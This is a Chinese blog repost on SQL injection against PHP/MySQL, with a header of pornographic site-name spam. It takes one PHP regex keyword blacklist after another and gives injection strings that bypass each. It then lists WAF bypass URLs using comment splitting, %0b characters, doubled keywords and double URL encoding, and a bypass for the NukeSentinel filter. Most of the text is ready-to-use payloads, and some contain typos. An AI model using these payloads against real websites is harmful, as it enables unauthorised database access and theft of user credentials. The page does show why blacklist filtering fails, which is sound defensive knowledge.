日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

PHP_Mysql注入防护与绕过

發布時間:2024/9/19 数据库 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PHP_Mysql注入防护与绕过 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

黑名單關鍵字過濾與繞過

過濾關鍵字and、or

PHP匹配函數代碼如下:

preg_match('/(and|or)/i', $id)

如何Bypass,過濾注入測試語句:

1 or 1 = 1 ? ? ? ? ? ? ? ?1 and 1 = 1

測試方法可以替換為如下語句測試:

1 || 1 = 1 ? ? ? ? ? ? ? ?1 && 1 = 1

過濾關鍵字and, or, union

PHP匹配函數代碼如下:

preg_match('/(and|or|union)/i', $id)

如何Bypass,過濾注入測試語句:

union select user, password from users

測試方法可以替換為如下語句測試:

1 || (select user from users where user_id = 1) = 'admin'

過濾關鍵字and, or, union,where

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where)/i', $id)

如何Bypass,過濾注入測試語句:

1 || (select user from users where user_id = 1) = 'admin'

測試方法可以替換為如下語句測試:

1 || (select user from users limit 1) = 'admin'

過濾關鍵字and, or, union,where,limit

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where|limit)/i', $id)

如何Bypass,過濾注入測試語句:

1 || (select user from users limit 1) = 'admin'

測試方法可以替換為如下語句測試:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

過濾關鍵字and, or, union,where,limit,group by

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,過濾注入測試語句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

測試方法可以替換為如下語句測試:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

過濾關鍵字and, or, union,where,limit,group by

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,過濾注入測試語句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

測試方法可以替換為如下語句測試:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

過濾關鍵字and, or, union,where,limit,group by,select

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

如何Bypass,過濾注入測試語句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

測試方法可以替換為如下語句測試:

1 || 1 = 1 into outfile 'result.txt'

1 || substr(user,1,1) = 'a'

過濾關鍵字and, or, union,where,limit,group by,select,'

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

如何Bypass,過濾注入測試語句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

測試方法可以替換為如下語句測試:

1 || user_id is not null

1 || substr(user,1,1) = 0x61

1 || substr(user,1,1) = unhex(61)

過濾關鍵字and, or, union,where,limit,group by,select,',hex

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

如何Bypass,過濾注入測試語句:

1 || substr(user,1,1) = unhex(61)

測試方法可以替換為如下語句測試:

1 || substr(user,1,1) = lower(conv(11,10,36))

過濾關鍵字and, or, union,where,limit,group by,select,',hex,substr

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

如何Bypass,過濾注入測試語句:

1 || substr(user,1,1) = lower(conv(11,10,36))

測試方法可以替換為如下語句測試:

1 || lpad(user,7,1)

過濾關鍵字and, or, union,where,limit,group by,select,',hex, substr, white space

PHP匹配函數代碼如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

如何Bypass,過濾注入測試語句:

1 || lpad(user,7,1)

測試方法可以替換為如下語句測試:

1%0b||%0blpad(user,7,1)

部分WAF繞過技巧

1、繞過部分WAF

/news.php?id=1+un/**/ion+se/\**/lect+1,2,3--

2、匹配正則如下:

/union\sselect/g

繞過方式:

/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

3、過濾一次關鍵字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

4、關鍵字被過濾,有的時候可以用%0b插入關鍵字繞過

/news.php?id=1+uni%0bon+se%0blect+1,2,3--

5、對于Mod_rewrite的作用使得/**/不起作用時可以使用%0b代替

替換前:

/main/news/id/1//||//lpad(first_name,7,1).html

替換后:

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多數的CMS和WAF會對用戶輸入進行解碼然后過濾,但有些只解碼一次,我們可以對payload進行多次編碼然后測試

/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

真實的例子

NukeSentinel

Nukesentinel.php的代碼如下:

針對上面的防護,使用如下測試語句將被攔截:

/php-nuke/?/**/union/**/select…

可以使用如下語句代替:

/php-nuke/?/%2A%2A/union/%2A%2A/select…

/php-nuke/?%2f**%2funion%2f**%2fselect…

總結

以上是生活随笔為你收集整理的PHP_Mysql注入防护与绕过的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。